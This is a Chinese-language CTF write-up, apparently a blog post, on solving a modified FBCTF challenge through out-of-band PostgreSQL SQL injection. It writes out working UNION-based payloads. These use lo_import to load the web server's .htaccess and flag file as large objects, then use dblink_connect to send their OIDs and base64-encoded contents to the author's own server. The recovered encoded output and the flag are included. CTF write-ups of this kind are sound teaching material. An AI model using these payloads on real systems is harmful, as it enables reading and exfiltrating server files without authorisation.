最近某秋弄了个比赛,有个题是FBCTF的原题魔改的脑洞题 记录下 postgresql带外注入(FBCTF) FBCTF详解
解题
flag名字在.htaccess文件里(有tank文件解析成图片而得),提示也只说flag在web的某个目录下,这题的数据库用户权限很低,只有查询权限,RCE是很困难的
我用的是外联数据库的方法
vps环境:Ubuntu18.04 apt install 安装即可 百度有 修改配置文件 设置 listen_addresses = '*'
重启服务
手机访问 f12体验苹果6
用上面csdn的payload试试,服务器有回显 我查到他的库名是 public
表名 searches
但是flag并不在数据库里 由于用户权限低的缘故,不能用常规方法读取 只能用到大对象操作 上述文章有讲到
先绑定文件的oid 这里是不能进行带外的注意
1' UNION SELECT (select lo_import('/var/www/html/.htaccess')),'1' --+
注意只能在第一个字段绑定
绑定后通过查询pg_largeobject_metadata表来获得所有的大对象的oid
1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l)||' password=postgres dbname=postgres')) --
再一个个试,从最后面那个试
1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(select substring(encode(lo_get(16441),'base64'),1,15))||' password= dbname=postgres')) --
然后读oid绑定的文件 注意base64编码,而且返回还做了长度限制 通过substring()函数进行截断读取
我就截了这么一段
PEZpbGVzTWF0Y2ggInB1c2hGMW40QW5LIj4KICBTZXRIYW5kbG
这里可知道flag的文件名为pushF1n4AnK
再用同样的方法读flag 一个个读
PD9waHAKJGZsYWc9ImZsYWd7NGQ4MTAxMDQtNzFiYS00ZmUzLThkY2YtYzYwNzY2NThiODllfSI7